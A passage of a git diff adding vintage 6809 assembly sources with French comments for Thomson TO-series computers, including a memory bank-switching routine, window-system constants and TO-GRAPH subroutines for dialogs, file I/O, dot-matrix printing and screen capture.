+TABLIN FCB 0,0,0,0,0,0,$80,$81,0,$82
+ FCB $83,0,$84,$85,0,$86,$87,0
+ FCB $88,$89,0,$8A,$8B,0,$8C
+ FCB $8D,0,$8E,$8F,0,0
+ FCB 1,1,1,1,1,1,1,1,0
+
+ END
diff --git a/code/3rdparty/sources4-divers/snippets/COMMUT.ASM b/code/3rdparty/sources4-divers/snippets/COMMUT.ASM
new file mode 100644
index 0000000..b1859cb
--- /dev/null
+++ b/code/3rdparty/sources4-divers/snippets/COMMUT.ASM
@@ -0,0 +1,37 @@
+
+
+
+****************************************
+* *
+* C O M M U T *
+* *
+****************************************
+* *
+* Routine de sélection des banques de *
+* la zone mémoire &HA000 - &HDFFF. *
+*--------------------------------------*
+* *
+* Manuel de l'assembleur 6809 *
+* du TO7/TO7-70 page 190 *
+* *
+****************************************
+
+CSR EQU $E7C0 Registre d'état
+
+*--------------------------------------*
+
+
+COMMUT EQU *
+ PSHS D,X,U
+ LDU #CSR
+ LDB 11,U
+ ANDB #$FB
+ STB 11,U
+ LDX #TAB
+ LDA A,X
+ STA 9,U
+ ORB #$04
+ STB 11,U
+ PULS D,X,U,PC
+TAB EQU *
+ FCB $0F,$17,$E7,$67,$A7,$27
diff --git a/code/3rdparty/sources5-hmel/SOURCE50.SAP b/code/3rdparty/sources5-hmel/SOURCE50.SAP
new file mode 100755
index 0000000..8a1b285
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/SOURCE50.SAP
Binary files differ
diff --git a/code/3rdparty/sources5-hmel/SOURCE51.SAP b/code/3rdparty/sources5-hmel/SOURCE51.SAP
new file mode 100755
index 0000000..c429f0d
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/SOURCE51.SAP
Binary files differ
diff --git a/code/3rdparty/sources5-hmel/TO-FEN/FEN-EQU.ASM b/code/3rdparty/sources5-hmel/TO-FEN/FEN-EQU.ASM
new file mode 100644
index 0000000..947fadf
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-FEN/FEN-EQU.ASM
@@ -0,0 +1,173 @@
+ TITLE FEN: parametres
+* --------------------------
+ PAGE
+
+****************************************
+* *
+* Parametres du FENETRAGE TO-FEN *
+* *
+****************************************
+
+
+
+* Couleurs
+*---------------------------------------
+
+NOIR EQU 0
+ROUGE EQU 1
+VERT EQU 2
+JAUNE EQU 3
+BLEU EQU 4
+MAGENT EQU 5
+CYAN EQU 6
+BLANC EQU 7
+GRIS EQU 8
+ROSE EQU 9
+VERTCL EQU 10
+SABLE EQU 11
+BLEUCL EQU 12
+PARME EQU 13
+BLEUCI EQU 14
+ORANGE EQU 15
+
+TRANSP EQU $FF non gere = transp.
+
+
+* Blocs de descripteurs de fenetres
+*---------------------------------------
+
+FLOCA EQU 0
+FLOCF EQU 1
+FLOCR EQU 2
+FTOURI EQU 3
+FTOURE EQU 4
+FCADRE EQU 5
+FCOULF EQU 6
+FFOND EQU 7
+FTRAME EQU 8
+FMASQ EQU 9
+FINVVD EQU 10
+FTEXTE EQU 11
+FEDI EQU 12
+FCALL EQU 13
+FDO EQU 14
+FLOOP EQU 15
+FSTOP EQU 16
+FPOUSS EQU 17
+FINV EQU 18
+FCOMF EQU 19
+FCZI EQU 20
+
+
+* Deplacement des indirection vers les
+* S/P de fenetrage dans le binaire
+* relogeable.
+* Nb: BASEF doit etre prealablement
+* equivalence a l'adresse d'implant.
+* du binaire
+*---------------------------------------
+
+FENINI EQU BASEF+0
+FENFIN EQU BASEF+3
+FENOUV EQU BASEF+6
+FENRPL EQU BASEF+9
+FENFER EQU BASEF+12
+FENACT EQU BASEF+15
+FENDES EQU BASEF+18
+FEN EQU BASEF+21
+FENLCZ EQU BASEF+24
+FENCH EQU BASEF+27
+FENVIS EQU BASEF+30
+FENLOC EQU BASEF+33
+FENLOF EQU BASEF+36
+FENLOR EQU BASEF+39
+FENTI EQU BASEF+42
+FENTE EQU BASEF+45
+FENCAD EQU BASEF+48
+FENCF EQU BASEF+51
+FENFON EQU BASEF+54
+FENTRA EQU BASEF+57
+FENMAS EQU BASEF+60
+FENIVD EQU BASEF+63
+FENSEL EQU BASEF+66
+FENTXT EQU BASEF+69
+FENPUT EQU BASEF+72
+FENEDI EQU BASEF+75
+FENTOR EQU BASEF+78
+FENERR EQU BASEF+81
+
+SOUDAN EQU BASEF+84
+DECBIN EQU BASEF+87
+SIGBIN EQU BASEF+90
+HEXBIN EQU BASEF+93
+BINDCG EQU BASEF+96
+BINDCD EQU BASEF+99
+BINSGG EQU BASEF+102
+BINSGD EQU BASEF+105
+BINHX1 EQU BASEF+108
+BINHX2 EQU BASEF+111
+
+SBREAK EQU BASEF+114
+TBREAK EQU BASEF+117
+
+DOSSEL EQU BASEF+120
+DOSDIR EQU BASEF+123
+DOSFIL EQU BASEF+126
+DOSCZI EQU BASEF+129
+DOSINI EQU BASEF+132
+DOSREN EQU BASEF+135
+DOSSUP EQU BASEF+138
+DOSDUP EQU BASEF+141
+DOSCAT EQU BASEF+144
+DOSTST EQU BASEF+147
+DOSCNF EQU BASEF+150
+DOSERR EQU BASEF+153
+
+
+* valeur de caractère pour l'édition
+* d'une balise de pointage par FENTXT
+*---------------------------------------
+
+BALISE EQU $1D
+
+
+* Valeurs des entites d'une fenetre
+*---------------------------------------
+
+OFF EQU $00 touches
+ON EQU $01
+
+INTERD EQU $FF interdiction
+
+TEXTE EQU $00 saisies
+DECIM EQU $01
+SIGNE EQU $02
+HEXA EQU $03
+
+
+* Type des entites d'une fenetre
+*---------------------------------------
+
+POUSS EQU $00 poussoir
+INVERS EQU $01 inverseur
+CHACZI EQU $02 champ de saisie
+
+
+* Déplacements sur le descripteur d'une
+* entite fenetre
+*---------------------------------------
+
+CODEQU EQU 0 code equivalent
+TYP EQU 1 POUSS:INVERS:CZI
+* ------------------
+VAL EQU 2 OFF :OFF :TEXTE
+* ON :ON :DECIM
+* : :SIGNE
+* : :HEXA
+* INTER:INTERD:INTER
+
+RNG EQU 3 rangee debut
+COL EQU 4 colonne debut
+HAUT EQU 5 hauteur
+LARG EQU 6 largeur
+SUIV EQU 7 pointeur bloc suiv
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-C1.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-C1.ASM
new file mode 100644
index 0000000..1914ed3
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-C1.ASM
@@ -0,0 +1,1487 @@
+ TITLE TO-GRAPH: S/P CARTOUCHE
+* ------------------------------
+ PAGE
+
+****************************************
+* *
+* TO-GRAPH *
+* *
+* S/P cartouche *
+* *
+****************************************
+
+
+*=======================================
+* S/P recherche d'un album dans table
+* (création si inexistant)
+* Entrée: X pt nom album
+* Sortie: CY 1 pas de place
+* 0 ok
+* X pt dans table si ok
+*=======================================
+
+XCHALB PSHS D,Y,U
+ LEAS -1,S
+ALBC SET 0
+PD SET 1
+*---------------------------------------
+
+ LBSR XPTALB
+ BCC CHALBF trouvé ->
+
+ TST MAXALB
+ BEQ CHALBR pas de place ->
+ LDU #TABALB
+ CLR ALBC,S
+CHAL1 TST 8,U
+ BMI CHAVID poste vide ->
+ INC ALBC,S
+ LDA ALBC,S
+ CMPA MAXALB
+ BGE CHALBR pas de place ->
+ LEAU 9,U
+ BRA CHAL1 ->
+
+CHAVID LDA #8
+CHAVI0 LDB ,X+
+ STB ,U+
+ DECA
+ BNE CHAVI0 ->
+ NEG ,U marque occupé
+ LEAX -8,U
+ INC NBALB
+CHALBF ANDCC #$FE
+ LEAS 1,S
+ PULS D,Y,U,PC ->>
+CHALBR LDB #7 'out of memory'
+ JSR DOSERR
+ ORCC #$01
+ LEAS 1,S
+ PULS D,Y,U,PC ->>
+
+
+*=======================================
+* S/P saisie d'un album
+*
+* Entrée: A,B coordonnées fenêtre
+* X Pt recepteur nom
+* Sortie: CY 1 Raz
+* 0 ok
+* (X) zone nom rendu
+*=======================================
+
+FCZIAL FCB FLOCF,0,0,11,26
+ FCB FTRAME,FTOURI
+ FCB FLOCF,1,1,5,24
+ FCB FFOND,FTOURE,FCADRE
+ FCB FLOCF,7,1,3,24
+ FCB FFOND,FTOURE,FCADRE
+ FCB FLOCF,2,3,1,24
+ FCB FEDI
+ FCC \Nomdel'album:\
+ FCB 0
+ FCB FLOCF,4,16,1,8
+ FCB FTOURE
+ FCB FCZI,255,TEXTE
+
+ FCB FLOCF,8,3,1,24
+ FCB FEDI
+ FCC \OK\
+ FCB BALISE
+ FCC \Annuler\
+ FCB BALISE,0
+ FCB FLOCF,8,6,1,1
+ FCB FPOUSS,RC,OFF
+ FCB FLOCF,8,22,1,1
+ FCB FPOUSS,FF,OFF
+ FCB FSTOP
+
+*---------------------------------------
+XCZIAL PSHS D,X,Y,U
+ LEAS -9,S
+BUF1 SET 0
+PD SET 9
+PX SET 11
+*---------------------------------------
+
+ LEAX FCZIAL,PCR
+ JSR FENOUV
+
+ JSR FENACT sélection
+CZIAL1 JSR FEN
+ TSTB
+ BEQ CZIAL1 ->
+ CMPB #FF
+ BEQ CZIALR raz ->
+ CMPB #RC
+ BEQ CZIALO RC ->
+ BRA CZIAL1 ->
+
+CZIALO LDX PX,S résultat
+ LDB #8
+ LDA #SP
+CZIAO0 STA ,X+
+ DECB
+ BNE CZIAO0 ->
+ LEAX BUF1,S
+ LDB #255
+ JSR FENLCZ
+ LEAX BUF1,S
+ LDY PX,S
+CZIAO1 LDA ,X+
+ BEQ CZIAO2 ->
+ STA ,Y+
+ BRA CZIAO1 ->
+
+CZIAO2 CLRB
+ JSR FENFER
+ JSR FENACT
+ ANDCC #$FE
+ LEAS 9,S
+ PULS D,X,Y,U,PC ->>
+CZIALR CLRB
+ JSR FENFER
+ JSR FENACT
+ ORCC #$01
+ LEAS 9,S
+ PULS D,X,Y,U,PC ->>
+
+
+*=======================================
+* S/P raz d'une rectangulaire au point
+*
+* Entrée: XT0,YT0 coord. début
+* XT1,YT1 coord. fin
+*=======================================
+
+XCLRTI LDA #$FF
+ STA FILFLG
+ LDD #PLEIN
+ STD MACP
+ LDU #TRRAZ
+ LBSR COMBK1
+ LDX <XT0
+ STX XXXXXX
+ CLRA
+ LDB <YT0
+ STD YYYYYY
+ LDX <XT1
+ CLRA
+ LDB <YT1
+ TFR D,Y
+ LDB #BOX
+ JSR EXTRA
+ LDU #TRNORM
+ LBSR COMBK1
+ RTS
+
+
+*=======================================
+* S/P ecriture sur fichier
+*
+* Entrée: A car. à ecrire
+* Sortie: CY 0 si ok
+* 1 si erreur (fichier sera
+* fermé !)
+*=======================================
+
+XECRFI PSHS B
+*---------------------------------------
+ LDB #PRINT
+ JSR EXTRA
+ TSTB
+ BNE ECFIR erreur ->
+ ANDCC #$FE
+ PULS B,PC ->>
+
+ECFIR PSHS B
+ LDB #CLOSE # erreur PRINT
+ JSR EXTRA
+ PULS B
+ JSR DOSERR
+ ORCC #$1
+ PULS B,PC ->>
+
+
+*=======================================
+* S/P impression d'un fragment de page
+* limité par CADRNG-CADCOL
+* CADHAU-CADLAR
+* Entrée B interrupteur pleine page
+*=======================================
+
+FFCIMP FCB FLOCF,0,0,11,24
+ FCB FTRAME,FTOURI
+
+ FCB FLOCF,1,1,5,22
+ FCB FFOND,FTOURE,FCADRE
+ FCB FLOCF,2,3,1,22
+ FCB FEDI
+ FCC \Impr.OK?\
+ FCB 0
+ FCB FLOCR,0,6,1,7
+ FCB FTOURE,FCADRE
+ FCB FPOUSS,'I,OFF
+ FCB FLOCF,4,6,1,22
+ FCB FEDI
+ FCC \Brouillon\
+ FCB BALISE,0
+ FCB FLOCR,0,10,1,1
+ FCB FINV,'B,OFF
+
+ FCB FLOCF,7,1,3,22
+ FCB FFOND,FTOURE,FCADRE
+ FCB FLOCF,8,3,1,22
+ FCB FEDI
+ FCC \OK\
+ FCB BALISE
+ FCC \Annuler\
+ FCB BALISE,0
+ FCB FLOCF,8,6,1,1
+ FCB FPOUSS,RC,OFF
+ FCB FLOCF,8,20,1,1
+ FCB FPOUSS,FF,OFF
+ FCB FSTOP
+
+MTYPIP FCC \THOMSON\
+ FCB 0
+ FCC \EPSON\
+ FCB 0
+ FCC \IBM\
+ FDB 0
+
+TYPIMP FCB THOMSO type imprimante
+THOMSO EQU 0
+EPSON EQU 1
+IBM EQU 2
+MAXIMP EQU 3
+
+*---------------------------------------
+XIMPPA PSHS B
+ LEAS -963,S
+FLGPAS SET 0
+MEMBK SET 1
+DBK SET 2
+BUFFER SET 3
+PB SET 963
+*---------------------------------------
+ LDA BANKC
+ STA MEMBK,S
+
+ LDD #$0633
+ LEAX FFCIMP,PCR
+ JSR FENOUV
+
+IMPC00 LDB #'I
+ JSR FENCH
+ LEAX TYPIMP,PCR
+ LDA ,X
+ LDB #8
+ MUL
+ LEAX MTYPIP,PCR
+ LEAX D,X
+
+ JSR FENFON
+ JSR FENEDI
+
+* Sélection opérateur
+
+IMPC0 JSR FENACT sélection
+IMPC1 JSR FEN
+ TSTB
+ BEQ IMPC1 ->
+ CMPB #FF
+ LBEQ IMPCRZ raz ->
+ CMPB #RC
+ BEQ IMPCOK RC ->
+ CMPB #'I
+ BEQ CHGIMP Imprim. ->
+ BRA IMPC1 ->
+
+CHGIMP JSR FENDES
+ LEAX TYPIMP,PCR
+ LDA ,X
+ INCA
+ CMPA #MAXIMP
+ BNE CHGIM0 ->
+ CLRA
+CHGIM0 LDB $E7E6 autorise écritur
+ ORB #$40 cartouche
+ STB $E7E6
+ STA ,X
+ LDB $E7E6 interdit écritur
+ ANDB #$BF cartouche
+ STB $E7E6
+ LBRA IMPC00 ->
+
+IMPCOK JSR FENDES
+ JSR FENCH
+ JSR FENIVD
+ LDB #'B
+ JSR FENCH
+ CLR FLGPAS,S
+ LDA VAL,X
+ CMPA #OFF
+ BNE LIMPC ->
+ COM FLGPAS,S
+
+LIMPC LDA #$40 open //
+ STA RSOPC
+ JSR RSCO
+ LBCS IMPCRZ ->
+
+ LDA #$08 écriture //
+ STA RSOPC
+
+ LEAX TYPIMP,PCR
+ LDA ,X
+ CMPA #IBM
+ BEQ SETIP0 ->
+ LDB #ESC reset imprimante
+ JSR RSCO
+ LDB #'@
+ JSR RSCO
+
+SETIP0 CMPA #THOMSO
+ BNE SETIP1 ->
+* THOMSON
+ LDB #ESC suppress inter
+ JSR RSCO ligne
+ LDB #$39
+ JSR RSCO
+ BRA SETIP3 ->
+* IBM EPSON
+SETIP1 LDB #ESC suppress inter
+ JSR RSCO ligne
+ LDB #'3
+ JSR RSCO
+ LDB #24
+ TST FLGPAS,S
+ BEQ SETI11 ->
+ DECB double passe
+SETI11 JSR RSCO
+ TST FLGPAS,S
+ BEQ SETIP2 ->
+ LDB #ESC unidirectionnel
+ JSR RSCO
+ LDB #'U
+ JSR RSCO
+ LDB #1
+ JSR RSCO
+SETIP2 CMPA #IBM
+ BNE SETIP3 ->
+ LDB #ESC supprime auto LF
+ JSR RSCO
+ LDB #'5
+ JSR RSCO
+ LDB #0
+ JSR RSCO
+SETIP3 EQU *
+
+ LDB PB,S passez lignes
+ CMPB #ON en pleine page
+ BNE LIMPC0 ->
+
+ LDA CADRNG
+ STA <CPTLT
+BIMPC0 BEQ LIMPC0
+ LDB #LF
+ JSR RSCO
+
+ LEAX BUFFER,S test d'interrupt
+ LDD #$0D39
+ JSR SBREAK
+ LBCS IMPCAB ->
+
+ DEC <CPTLT
+ BRA BIMPC0 ->
+
+* Calcul de l'adresse RAM début ligne
+* initiale de la feuille (bank+déplac.)
+LIMPC0 LDA CADRNG *60*8 !
+ LSLA
+ LDB #60*4
+ MUL
+ ADDB CADCOL
+ ADCA #0
+ ADDD <ADF
+ BCC LIMPC1 ->
+ ADDD #$FFFF-48959
+LIMPC1 CMPD #48960
+ BCS LIMPC2 ->
+ SUBD #48960
+LIMPC2 STD <ADPRRL
+ ROLA
+ ROLA
+ ROLA
+ ANDA #3
+ ADDA #PBKTRA
+ STA DBK,S
+ LDD <ADPRRL
+ ANDA #$3F
+ ADDD #$A000
+ STD <ADPRRL
+
+* Boucle de lecture de 8 lignes (1 car.)
+* en page 0
+
+BRIP0 LDA DBK,S
+ STA BANKC
+ LDA #9
+ STA <CPTLT
+ LDY <ADPRRL
+BRIP2 LEAX BUFFER,S
+ LDA #9
+ SUBA <CPTLT
+ LEAX A,X
+ DEC <CPTLT
+ LBEQ RIP0F -->
+ LDA BANKC
+ LDB #60
+ CMPA #PBKTRA+2
+ BEQ RIP0D dernier bank ->
+ CMPY #$E000-59
+ BCS BRIP01 trait. 60 ok ->
+ PSHS Y trait. en 2 fois
+ LDD #$E000
+ SUBD ,S++
+ STB <CPTCT
+BRIP00 LDA ,Y+
+ STA ,X
+ LEAX 16,X
+ DECB
+ BNE BRIP00 ->
+ INC BANKC
+ LDY #$A000
+ LDB #60
+ SUBB <CPTCT
+BRIP01 LDA ,Y+
+ STA ,X
+ LEAX 16,X
+ DECB
+ BNE BRIP01 ->
+ CMPY #$E000
+ BCS BRIP2 ->
+ INC BANKC
+ LDY #$A000
+ BRA BRIP2 ->
+
+RIP0D CMPY #$DF40-59 dernier bank
+ BCS BRIP03 trait. 60 ok ->
+ PSHS Y trait. en 2 fois
+ LDD #$DF40
+ SUBD ,S++
+ STB <CPTCT
+BRIP02 LDA ,Y+
+ STA ,X
+ LEAX 16,X
+ DECB
+ BNE BRIP02 ->
+ DEC BANKC
+ DEC BANKC
+ LDY #$A000
+ LDB #60
+ SUBB <CPTCT
+BRIP03 LDA ,Y+
+ STA ,X
+ LEAX 16,X
+ DECB
+ BNE BRIP03 ->
+ CMPY #$DF40
+ LBCS BRIP2 ->
+ DEC BANKC
+ DEC BANKC
+ LDY #$A000
+ LBRA BRIP2 ->
+RIP0F EQU *
+
+* Boucle de lecture de 8 lignes (1 car.)
+* en page 1
+
+ LDA DBK,S
+ ADDA #3
+ STA BANKC
+ LDA #9
+ STA <CPTLT
+ LDY <ADPRRL
+BRIP3 LEAX BUFFER,S
+ LEAX 8,X
+ LDA #9
+ SUBA <CPTLT
+ LEAX A,X
+ DEC <CPTLT
+ LBEQ RIP1F -->
+ LDA BANKC
+ LDB #60
+ CMPA #PBKTRA+5
+ BEQ RIP1D dernier bank ->
+ CMPY #$E000-59
+ BCS BRIP11 trait. 60 ok ->
+ PSHS Y trait. en 2 fois
+ LDD #$E000
+ SUBD ,S++
+ STB <CPTCT
+BRIP10 LDA ,Y+
+ STA ,X
+ LEAX 16,X
+ DECB
+ BNE BRIP10 ->
+ INC BANKC
+ LDY #$A000
+ LDB #60
+ SUBB <CPTCT
+BRIP11 LDA ,Y+
+ STA ,X
+ LEAX 16,X
+ DECB
+ BNE BRIP11 ->
+ CMPY #$E000
+ BCS BRIP3 ->
+ INC BANKC
+ LDY #$A000
+ BRA BRIP3 ->
+
+RIP1D CMPY #$DF40-59 dernier bank
+ BCS BRIP13 trait. 60 ok ->
+ PSHS Y trait. en 2 fois
+ LDD #$DF40
+ SUBD ,S++
+ STB <CPTCT
+BRIP12 LDA ,Y+
+ STA ,X
+ LEAX 16,X
+ DECB
+ BNE BRIP12 ->
+ DEC BANKC
+ DEC BANKC
+ LDY #$A000
+ LDB #60
+ SUBB <CPTCT
+BRIP13 LDA ,Y+
+ STA ,X
+ LEAX 16,X
+ DECB
+ BNE BRIP13 ->
+ CMPY #$DF40
+ LBCS BRIP3 ->
+ DEC BANKC
+ DEC BANKC
+ LDY #$A000
+ LBRA BRIP3 ->
+
+RIP1F STY <ADPRRL
+ LDA BANKC
+ SUBA #3
+ STA DBK,S
+
+* Edition ligne graphique
+
+ LEAX BUFFER,S
+ LDB CADLAR
+ LDA FLGPAS,S
+ LBSR XIMPLI
+
+ LEAX BUFFER,S test d'interrupt
+ LDD #$0D39
+ JSR SBREAK
+ BCS IMPCAB ->
+
+ DEC CADHAU
+ LBNE BRIP0 ->
+
+IMPCAB LDB #ESC reset imprimante
+ JSR RSCO
+ LDB #'@
+ LEAX TYPIMP,PCR
+ LDA ,X
+ CMPA #IBM
+ BNE RSTIP ->
+ LDB #'2
+RSTIP JSR RSCO
+ CMPA #THOMSO
+ BEQ RSTIP1 ->
+ LDB #ESC bidirectionnel
+ JSR RSCO
+ LDB #'U
+ JSR RSCO
+ LDB #0
+ JSR RSCO
+
+RSTIP1 LDA #$10 close
+ STA RSOPC
+ JSR RSCO
+
+IMPCRZ LDA MEMBK,S
+ STA BANKC
+ LEAS 963,S
+ CLRB
+ JSR FENFER
+ PULS B,PC
+
+
+*=======================================
+* S/P impression d'une ligne graphique
+*
+* Entrée X pt buffer
+* 8 seg. 1er car
+* 8 seg. 2eme car
+* ...
+* A 0 en simple passage
+* #0 en double passage
+* B nb car.
+*=======================================
+
+XIMPLI PSHS D,X,Y,U
+ LEAS -10,S
+BUFV SET 0
+NBSEG SET 8
+PA SET 10
+PB SET 11
+PX SET 12
+*---------------------------------------
+ STB CPTLT
+
+* Codage buffer en colonnes
+BIMPL0 LEAY BUFV,S raz mano
+ LDA #8
+BIMPL1 CLR ,Y+
+ DECA
+ BNE BIMPL1 ->
+
+ LDA #8 colonnes car.
+ STA CPTCT cour. -> mano
+BIMPL2 LDA #8
+ LEAY BUFV,S
+ LDB ,X+
+BIMPL3 LSLB
+ ROR ,Y+
+ DECA
+ BNE BIMPL3 ->
+ DEC CPTCT
+ BNE BIMPL2 ->
+
+ LEAX -8,X buffer recodé
+ LEAY BUFV,S
+ LDA #8
+BIMPL4 LDB ,Y+
+ STB ,X+
+ DECA
+ BNE BIMPL4 ->
+
+ DEC CPTLT
+ BNE BIMPL0 car. suiv ->
+
+* Calcul et codage ASCII nb segment
+* en soustrayant les nuls de droite
+ LDB PB,S
+ LDA #8
+ MUL
+ LDX PX,S
+ LEAX D,X
+LIMPK0 TST ,-X
+ BNE LIMPK1 ->
+ SUBD #1
+ BNE LIMPK0 ->
+LIMPK1 ADDD #1 force pair
+ ANDB #$FE
+ STD NBSEG,S
+ LBEQ LIMPL3 rien ->
+
+ LEAX BUFV,S
+ LDY #3
+ JSR BINDCD
+ LDA #3
+ LEAX BUFV,S
+BIMPL5 LDB ,X+
+ CMPB #$20
+ BNE LIMPL0 ->
+ ADDB #$10
+ STB -1,X
+ DECA
+ BNE BIMPL5 ->
+
+
+LIMPL0 LDB #ESC édition graphiq.
+ JSR RSCO
+
+ LEAY TYPIMP,PCR
+ LDA ,Y
+ CMPA #THOMSO
+ BNE SETGR0 ->
+ LDB #$47
+ LDA PA,S
+ BEQ LIMPL1 ->
+ ADDB #2
+LIMPL1 JSR RSCO
+
+ LEAX BUFV,S
+ LDA #3
+BIMPL6 LDB ,X+
+ JSR RSCO
+ DECA
+ BNE BIMPL6 ->
+ BRA SETGR1 ->
+
+SETGR0 LDB #'L
+ JSR RSCO
+ LDD NBSEG,S
+ JSR RSCO
+ TFR A,B
+ JSR RSCO
+
+SETGR1 EQU *
+
+ LDX PX,S
+ LDY NBSEG,S
+
+ LEAU TYPIMP,PCR
+ LDA ,U
+ CMPA #THOMSO
+ BNE SELIP0 ->
+ LDA PA,S
+ LBNE BIMPLA normal THOMSON->
+ BRA BIMPL9 brouillon ... ->
+SELIP0 LDA PA,S
+ BNE XIMPL8 normal IBM EPS->
+
+BIMPL7 LDA ,X+ brouillon IBM EP
+ LDB #1
+SIMPL7 LSRA
+ ROLB
+ BCC SIMPL7 ->
+ JSR RSCO
+ LEAY -1,Y
+ BNE BIMPL7 ->
+ LBRA LIMPL3 ->
+
+XIMPL8 PSHS X,Y
+BIMPL8 LDA ,X+ normal IBM EPSON
+ LDB #1 passe 1
+SIMPL8 LSRA
+ ROLB
+ BCC SIMPL8 ->
+ JSR RSCO
+ LEAY -1,Y
+ BNE BIMPL8 ->
+ PULS X,Y
+ LDB #ESC passe 1/216 "
+ JSR RSCO (pour 1/2 point)
+ LDB #'J (1 pt = 1/72 ")
+ JSR RSCO
+ LDB #1
+ JSR RSCO
+ LDB #RC
+ JSR RSCO
+ LDB #ESC
+ JSR RSCO
+ LDB #'L
+ JSR RSCO
+ LDD NBSEG,S
+ JSR RSCO
+ TFR A,B
+ JSR RSCO
+BIMPH8 LDA ,X+ normal IBM EPSON
+ LDB #1 passe 2
+SIMPH8 LSRA
+ ROLB
+ BCC SIMPH8 ->
+ JSR RSCO
+ LEAY -1,Y
+ BNE BIMPH8 ->
+ LBRA LIMPL3 ->
+
+BIMPL9 LDB ,X+ brouillon THOMSO
+ JSR RSCO
+ LEAY -1,Y
+ BNE BIMPL9 ->
+ LBRA LIMPL3 ->
+
+BIMPLA LDA ,X+ double/1er oct.
+ CLRB
+ LSRA
+ RORB
+ LSRB
+ LSRA
+ RORB
+ LSRB
+ LSRA
+ RORB
+ LSRB
+ LSRA
+ RORB
+ STB BUFV,S
+ LSRB
+ ORB BUFV,S
+ JSR RSCO
+* double/1er oct.
+ CLRB
+ LSRA
+ RORB
+ LSRB
+ LSRA
+ RORB
+ LSRB
+ LSRA
+ RORB
+ LSRB
+ LSRA
+ RORB
+ STB BUFV,S
+ LSRB
+ ORB BUFV,S
+ JSR RSCO
+ LEAY -1,Y
+ BNE BIMPLA ->
+
+LIMPL3 LDB #LF lig. suiv
+ JSR RSCO
+
+ LEAS 10,S
+ PULS D,X,Y,U,PC
+
+
+*=======================================
+* S/P lecture sur le fichier courant
+*
+* Sortie: A car. lu si ok
+* CY 0 si ok
+* 1 si pb -> erreur traitée
+* fichier fermé
+*=======================================
+
+XLECFI PSHS B
+*---------------------------------------
+ LDB #INPUT
+ JSR EXTRA
+ TSTB
+ BNE LEFIFR erreur ->
+ LDB #78 'bad picture'
+ TST EOFFLG si eof !
+ BNE LEFIFR ->
+ LDA CARCOU
+ ANDCC #$FE
+ PULS B,PC ->>
+
+LEFIFR JSR DOSERR
+ LDB #CLOSE
+ JSR EXTRA
+ ORCC #1
+ PULS B,PC
+
+
+*=======================================
+* S/P lecture écran -> tiroir
+*
+* Entrée XT0,YT0 coord. début
+* XT1,YT1 coord. fin
+*=======================================
+
+TMAQG2 FDB $FF7F,$3F1F,$0F07,$0301
+TMAQD2 FDB $80C0,$E0F0,$F8FC,$FEFF
+
+XLITTI EQU *
+*---------------------------------------
+ LDA #1 note tiroir ok
+ STA <FLGTIR
+
+* calcul des dimensions points
+ LDD <XT1
+ SUBD <XT0
+ ADDD #1
+ STD <LPTTIR
+ LDA <YT1
+ SUBA <YT0
+ INCA
+ STA <HPTTIR
+
+* calcul des dimensions segment
+* Nb: le tiroir est augmenté de 1
+* en largeur à cause décalages
+* ultérieurs
+ LDD <XT0
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRB
+ STB <COLT0
+ LDD <XT1
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRB
+ INCB +1 sur largeur
+ STB <COLT1
+ SUBB <COLT0
+ INCB
+ STB <LARTIR
+ LDD <XT0
+ ANDB #$07
+ STB <DECTIR décal. bit/seg.
+
+* calcul des référence 1er segment
+* (page écran et adresse
+ LDA $E7C3
+ ANDA #$FE
+ LDB <COLT0
+ LSRB
+ BCS XDCC2 ->
+ ORA #$01
+XDCC2 STA <PRE7C3
+ LDA <YT0
+ LDB #40
+ MUL
+ ADDD #$4000
+ STD <ADPRSG
+ CLRA
+ LDB <COLT0
+ LSRB
+ ADDD <ADPRSG
+ STD <ADPRSG
+
+* calcul des nb de seg. sur page
+* du 1er et sur l'autre
+ LDA <LARTIR
+ LSRA
+ STA <NBSEG1
+ STA <NBSEG2
+ BCC XDCC3 ->
+ INC <NBSEG1
+
+* acquisition des seg. 1ère page
+XDCC3 LDA <PRE7C3
+ STA $E7C3
+ LDA <HPTTIR
+ STA <CPTLT
+ LDU <ADPRSG
+ STU <ADPRSL
+ LDX #ZONTRA
+ TFR X,Y Y=ad 1ère lign
+XDCC10 LDA <NBSEG1
+XDCC11 LDB ,U+
+ STB ,X++
+ DECA
+ BNE XDCC11 ->
+ TFR Y,X
+ LDB <LARTIR
+ ABX
+ TFR X,Y
+ LDU <ADPRSL
+ LEAU 40,U
+ STU <ADPRSL
+ DEC <CPTLT
+ BNE XDCC10 ->
+
+* acquisition des seg. 2ème page
+ LDA $E7C3
+ EORA #$01
+ STA $E7C3
+ LDA <HPTTIR
+ STA <CPTLT
+ CLRA
+ LDB <PRE7C3
+ ANDB #1
+ EORB #1
+ ADDD <ADPRSG
+ STD <ADPRSL
+ TFR D,U
+ LDX #ZONTRA+1
+ TFR X,Y Y=ad 1ère lign
+XDCC20 LDA <NBSEG2
+XDCC21 LDB ,U+
+ STB ,X++
+ DECA
+ BNE XDCC21 ->
+ TFR Y,X
+ LDB <LARTIR
+ ABX
+ TFR X,Y
+ LDU <ADPRSL
+ LEAU 40,U
+ STU <ADPRSL
+ DEC <CPTLT
+ BNE XDCC20 ->
+
+* mise à zéro des bits hors tiroir
+* à gauche
+ LEAX TMAQG2,PCR
+ LDA <DECTIR
+ BEQ RZDT ->
+ LDA A,X
+ STA <CPTCT
+ LDA <HPTTIR
+ LDX #ZONTRA
+BRGT LDB ,X
+ ANDB <CPTCT
+ STB ,X
+ LDB <LARTIR
+ ABX
+ DECA
+ BNE BRGT ->
+
+* mise à zéro des bits hors tiroir
+* à droite
+RZDT LDD <XT1
+ ANDB #7
+ CMPB #7
+ BEQ RZDD ->
+ LEAX TMAQD2,PCR
+ LDA B,X
+ STA <CPTCT
+ LDA <HPTTIR
+ LDX #ZONTRA
+ LDB <LARTIR
+ ABX
+ LEAX -2,X
+BRDT LDB ,X
+ ANDB <CPTCT
+ STB ,X
+ LDB <LARTIR
+ ABX
+ DECA
+ BNE BRDT ->
+
+* mise à zéro du segment supplé-
+* mentaire pour décalage
+RZDD LDA <HPTTIR
+ LDX #ZONTRA
+ LDB <LARTIR
+ ABX
+ LEAX -1,X
